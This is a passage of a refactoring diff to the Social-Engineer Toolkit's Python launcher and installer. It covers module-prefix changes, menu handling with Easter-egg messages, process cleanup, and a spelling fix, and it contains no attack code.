bcolors.BOLD + "YAYYYYYYYYYYYYYYYYYYYYYY DerbyCon.\n\nDerbyCon 6.0 'Recharge' -- September 23th - 25th 2016" + bcolors.ENDC)
pause = raw_input(
bcolors.BOLD + "\nDon't miss it! Sep 23 - Sep 25th! Press {return} to continue." + bcolors.ENDC)
core.print_warning(
core.bcolors.BOLD + "YAYYYYYYYYYYYYYYYYYYYYYY DerbyCon.\n\nDerbyCon 6.0 'Recharge' -- September 23th - 25th 2016" + core.bcolors.ENDC)
pause = input(
core.bcolors.BOLD + "\nDon't miss it! Sep 23 - Sep 25th! Press {return} to continue." + core.bcolors.ENDC)
# rance
if main_menu_choice == "rance":
print_warning(
bcolors.BOLD + "We miss you buddy. David Jones (Rance) changed a lot of us and you'll always be apart of our lives (and SET). Fuck Cancer." + bcolors.ENDC)
pause = raw_input("Press {return} to continue.")
core.print_warning(
core.bcolors.BOLD + "We miss you buddy. David Jones (Rance) changed a lot of us and you'll always be apart of our lives (and SET). Fuck Cancer." + core.bcolors.ENDC)
pause = input("Press {return} to continue.")
# cavs
if main_menu_choice == "cavs":
print_warning(
bcolors.BOLD + "2015-2016 CHAMPS BABY!!! C l e e e e e e v eeee l a a n n d d d d d d d d d d d " + bcolors.ENDC)
pause = raw_input("Press {return} to continue.")
core.print_warning(
core.bcolors.BOLD + "2015-2016 CHAMPS BABY!!! C l e e e e e e v eeee l a a n n d d d d d d d d d d d " + core.bcolors.ENDC)
pause = input("Press {return} to continue.")
# quit out
if main_menu_choice == 'exit' or main_menu_choice == "99" or main_menu_choice == "quit":
exit_set()
core.exit_set()
# cleans up stale processes from SET
try:
# kill anything python running on 80
kill_proc("80", "python")
core.kill_proc("80", "python")
# kill anything on 443 ruby which is generally a rogue listener
kill_proc("443", "ruby")
core.kill_proc("443", "ruby")
except:
pass
# load set
if main_menu_choice == '1':
try:
module_reload(src.core.set)
core.module_reload(src.core.set)
except:
import src.core.set
# load fasttrack
if main_menu_choice == '2':
try:
module_reload(src.core.fasttrack)
core.module_reload(src.core.fasttrack)
except:
import src.core.fasttrack
# third party modules
if main_menu_choice == '3':
try:
module_reload(src.core.module_handler)
core.module_reload(src.core.module_handler)
except:
import src.core.module_handler
# update set
if main_menu_choice == '4':
update_set()
core.update_set()
# credits
if main_menu_choice == '5':
@ -262,11 +262,11 @@ The Social-Engineer Toolkit is designed purely for good and not evil. If you are
# update config
if main_menu_choice == '6':
help_menu()
core.help_menu()
# handle keyboard interrupts
except KeyboardInterrupt:
print(("\n\nThank you for " + bcolors.RED + "shopping" + bcolors.ENDC +
print(("\n\nThank you for " + core.bcolors.RED + "shopping" + core.bcolors.ENDC +
" with the Social-Engineer Toolkit.\n\nHack the Gibson...and remember...hugs are worth more than handshakes.\n"))
# handle exceptions
@ -275,4 +275,4 @@ except KeyboardInterrupt:
# print ("\n\n[!] Something went wrong, printing the error: "+ str(error))
# cleanup routine
cleanup_routine()
core.cleanup_routine()

View file

@ -24,7 +24,7 @@ if platform.system() == "Linux":
# if index is out of range then flag options
except IndexError:
print("** SET Dependancy Installer **")
print("** SET Dependency Installer **")
print("** Written by: Dave Kennedy (ReL1K) **")
print("** Visit: https://www.trustedsec.com **")
print("\nTo install: setup.py install")
@ -75,7 +75,7 @@ if platform.system() == "Linux":
print("[*] Copying SET into the /usr/share/ directory...")
cwdpath = os.getcwd()
subprocess.Popen("cd ..;cp -rf %s /usr/share/setoolkit" % (cwdpath), shell=True).wait()
subprocess.Popen("cd ..;cp -rf %s /usr/share/setoolkit" % cwdpath, shell=True).wait()
print("[*] Installing setoolkit installer to /usr/bin/setoolkit...")
subprocess.Popen(
"echo #!/bin/bash > /usr/bin/setoolkit", shell=True).wait()

View file

@ -5,6 +5,9 @@
import os
import sys
import src.core.setcore as core
# check where we are and load default directory
if os.path.isdir("/usr/share/setoolkit"):
if not os.path.isfile("se-toolkit"):
@ -13,9 +16,8 @@ if os.path.isdir("/usr/share/setoolkit"):
# if we can't see our config then something didn't go good..
if not os.path.isfile("/etc/setoolkit/set.config"):
print_error(
"Cannot locate SET executable. Try running from the local directory.")
print_error("If this does not work, please run the setup.py install file.")
core.print_error("Cannot locate SET executable. Try running from the local directory.")
core.print_error("If this does not work, please run the setup.py install file.")
sys.exit()
from src.core.setcore import *
@ -30,4 +32,4 @@ except KeyboardInterrupt:
# handle all other errors
except Exception as e:
print("\n[!] Something went wrong.. Printing the error: " + e)
print("\n[!] Something went wrong.. Printing the error: {}".format(e))